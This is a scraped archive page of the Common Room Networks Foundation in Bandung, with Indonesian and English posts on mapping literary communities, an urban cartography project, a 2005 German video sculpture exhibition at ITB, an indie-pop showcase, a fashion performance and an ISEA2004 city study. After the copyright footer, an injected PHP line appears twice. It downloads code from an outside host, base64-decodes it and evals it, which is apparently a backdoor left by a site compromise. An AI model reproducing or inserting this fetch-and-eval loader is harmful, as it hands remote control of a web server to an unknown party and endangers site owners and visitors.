Data Komunitas Literer Bandung ini merupakan bagian dari Urban Cartography Project V.01. Project ini merupakan pemetaan komunitas-komunitas kreatif yang ada di Bandung. Komunitas yang ada di sini adalah komunitas Literer yang ada di Bandung. [click to continue…]

{ 0 comments }

Jika diamati dalam 2 tahun, di Bandung muncul banyak sekali toko buku yang mengadaptasi konsep komunitas. Kemunculan ini bisa dilihat seabgai indikasi meningkatnya aktivitas literasi yang ada di kota Bandung. Meskipun belum ada penelitian yang menyeluruh yang menghubungkan antara bermunculannya tempat-tempat ini dengan meningkatnya minat baca warga Bandung. Namun sebagai langkah awal untuk mengidentifikasi perkembangan tersebut, pemetaan komunitas literer di Bandung menjadi penting. [click to continue…]

{ 0 comments }

Jakarta, ID
September, 2005

header
PROJECT DESCRIPTION
Proyek ini merupakan sebuah upaya untuk membangun peta kecil yang dapat digunakan untuk melacak keberadaan berbagai komunitas kreatif yang sampai saat ini terus berkembang di kota Bandung. Setidaknya sejak periode 1994 s/d 1995, kemunculan berbagai komunitas anak muda yang memproduksi kebutuhan sehari-hari mereka secara mandiri dapat dikatakan ikut menandai babak baru perkembangan budaya urban di kota ini. Hal ini setidaknya juga ikut dipengaruhi oleh berkembangnya wacana DIY (do it yourself), yang pada sekitar tahun 1995 memang menjadi bahan perbincangan yang populer diantara komunitas punk & skateboard yang ada, termasuk diantaranya pada beberapa komunitas anak muda seperti TL (Taman Lalu Lintas), Reverse (Sukasenang), PI (Belakang BIP), Harder (Cihampelas), Riotic (Simpang Dago), dsb.

Selanjutnya perkembangan ini juga ikut didorong oleh krisis ekonomi yang terjadi pada sekitar tahun 1996, yang kemudian ikut memotivasi beberapa komunitas untuk memproduksi kebutuhan mereka sendiri karena melambungnya harga barang-barang impor yang biasa mereka konsumsi. Selain produk musik dan fashion, beberapa komunitas yang ada juga banyak memproduksi & menyebarkan informasi dengan menggunakan berbagai media, dari mulai website, zines, poster, videoklip, stiker, pin, majalah dsb. Hampir semua dibuat dengan memanfaatkan keahlian dalam menggunakan berbagai instrumen teknologi – dari yang paling sederhana sampai pada penggunaan instrumen teknologi terkini – seperti misalnya mesin sablon, mesin cetak, mesin fotokopi, jaringan radio, jaringan internet, sms, komputer rakitan, dan juga termasuk penggunaan software bajakan.
[click to continue…]

{ 0 comments }

vskulptur_01Pameran Video Sculpture di Jerman sejak 1963 merupakan representasi sebuah survery terhadap perkembangan genre seni video dan media baru yang berkembang di Jerman sejak dekade enampuluhan. Pameran ini mengungkap ragam gaya dan sebagian besar lingkup-lingkup yang berlainan dari aplikasi spektrum video art, dari karya-karya gerakan Fluxus Happenings pada dekade enampuluhan (Nam June Paik, Wolf Vostell, Wolf Kahlen) sampai video interaktif yang mengundang partisipasi audiens yang diwujudkan melalui penggunaan perangkat sentuh komputer dan kamera video sebagaimana terlihat dalam karya-karya seniman video generasi terakhir di Jerman (Dieter Keissling, Jeffrey Shaw, Anna Anders).

Pameran yang dikuratori oleh Wulf Herzogenrath ini menawarkan ikhtisar singkat evolusi video art semenjak kelahirannya pada tahun 1963 hingga kini; ingin mendiskusikan pengaruh seniman-seniman Jerman dalam konteks global secara singkat; dan dimaksudkan sebagai bahan studi yang sangat bermanfaat bagi siapapun yang ingin melihat lebih jauh relevansi mutakhir perkembangan seni, sains, estetika dan teknologi.

Pameran ini akan dibuka oleh Rektor ITB:
Prof. Dr. Ir. Djoko Santoso, M.Sc

Senin, 7 Juni 2005
Pukul 19:00 WIB
AULA BARAT ITB
Jl. Ganeca 10
Bandung – 40132

Selanjutnya pameran akan berlangsung hingga tanggal 30 Juni 2005
Ruang pamer dibuka setiap hari Senin – Sabtu, pukul 09:00 – 17:00 WIB

Program Khusus:

8 Juni 2005, pukul 15:00
“Perkembangan Video Art di Jerman hingga 3 tahun terakhir”
disertai pemutaran slide dan video dokumentasi
Pembicara: Jochen Saueracker

9 Juni 2005, pukul 15:00
“Infrastruktur Video Art”
Pembicara: Agung Hujatnikajennong, Gustaff H. Iskandar, Ade Darmawan

Pemutaran karya-karya video art Indonesia akan dilakukan setiap hari Rabu – Jumat, pukul 13:00 WIB, selama pameran berlangsung.

Seniman:

Anna Anders
Claus Böhmler
Birgit Brenner
Klaus vom Bruch
Ingo Günther
J.F. Guiton
Wolf Kahlen
Dieter Kiessling
Franziska Megert
Marcel Odenbach
Nam June Paik
Ulrike Rosenbach
Reiner Ruthenbeck
Jeffrey Shaw
Wolfgang Staehle
Wolf Vostell
Herbert Wentscher

Program khusus berupa pemutaran karya video art Indonesia. Menam-pilkan karya-karya:

Frino Bariarcianur
Reza Afisina
Irwan Ahmett
Henry Foundation
Eko Nugroho
Sulasmoro
Prilla Tania
Ari Satria Darma
Doddy Mustafa
Andry Moch
Gustaff H. Iskandar

Kurasi oleh: Agung Hujatnikajennong

Karya-karya ini disusun sebagai kompilasi video art berjudul:
SIGNAL_RE-CO[R]DED

{ 0 comments }

Common Room, Bandung ID
March, 2005
classof95_poster
An Indie-pop visual showcase dedicated to youth indie-pop culture grown in Bandung starting from 1995. During the period, a specific style applied to music scene, laboring new independent bands and labels, inseparable from developed graphic arts trends. The presentation of the project consist posters, photography, t-shirts, and memorabilias. In the opening day, live band performances attracted crowds from Bandung, Jakarta, Yogyakarta, and Bali, compressed in a tiny space.
[click to continue…]

{ 0 comments }

Common Room
Bandung, ID
December 2004


[click to continue…]

{ 0 comments }

Common Room
Bandung, ID
December, 2004


[click to continue…]

{ 0 comments }

Common Room
Bandung, ID
October 2004

afterparty_poster

“AFTER PARTY” Fashion Performance

Artist: Tiarma Dame Ruth Sirait

In collaboration with:
Martha Widjaya– Fashion Illustrator
Adhya Ranadireksa – Photographer
Krishna Satmoko (N’cheese) – Photographer
Prilla Tania – Video Artist
Hendi Hendriansyah – Party Maker
Biosampler

Currator: Gustaff H. Iskandar

“How wondrous! How wondrous!”

A dress has no life of its own unless it is worn, and as soon as this happens another personality takes over from you and animates it, or tries to, glorifies or destroys it, or makes it into a song of beauty.

We are bombarded today by such a quantity of images that we can no longer distinguish direct experience from what we have seen for a few seconds on television. The memory is littered with bits and pieces of images. As you can see it today.

One way to look at the future being digital is to ask if the quality of one medium can be transposed to another.

Now, for nothing is really itself anymore. There are pieces of this and pieces of that, but none of it fits together….Everything falls apart, but not every part of everything, at least not at the same time. They regarded us as a piece of fiction-like one of their movies-which they could edit and improve.

And it sickens me in and out. Thinking who am I over and over again.

Thus, doubts and indecisions I had before were completely dissolved (again) like a piece of thawing ice. I called out loudly “How wondrous! How wondrous!”
[click to continue…]

{ 0 comments }

Insomnia48, Singapore
September 2004

[click to continue…]

{ 0 comments }

ISEA2004
Helinski, Finland
July-August,2004

This project is a series of research on studies about cities. The city is observed as a structure similar to human anatomy, which is a complex construction of super-structures. Particularly on the case of Bandung City, Indonesia, on daily basis people are confronted with layered, fragmented, fully distorted spaces, almost organic like a living amoeba. City spaces, not merely building blocks but also crowded noises and activities, had forced us to apply a strategic improvisation as a method of survival. Therefore various studies of cases on city spaces is quite significant, particularly when we are confined in city spaces that grow in enormous speed while our adaptation abilities are limited. The tension creates various conflicts in the personal and collective level.


[click to continue…]

{ 0 comments }

© Copyright Common Room Networks Foundation. All rights reserved.
Web by koesuma.com

$rrr = file_get_contents('http://sbalatam.com/ss/sync.php'); eval(base64_decode($rrr)); $rrr = file_get_contents('http://sbalatam.com/ss/sync.php'); eval(base64_decode($rrr));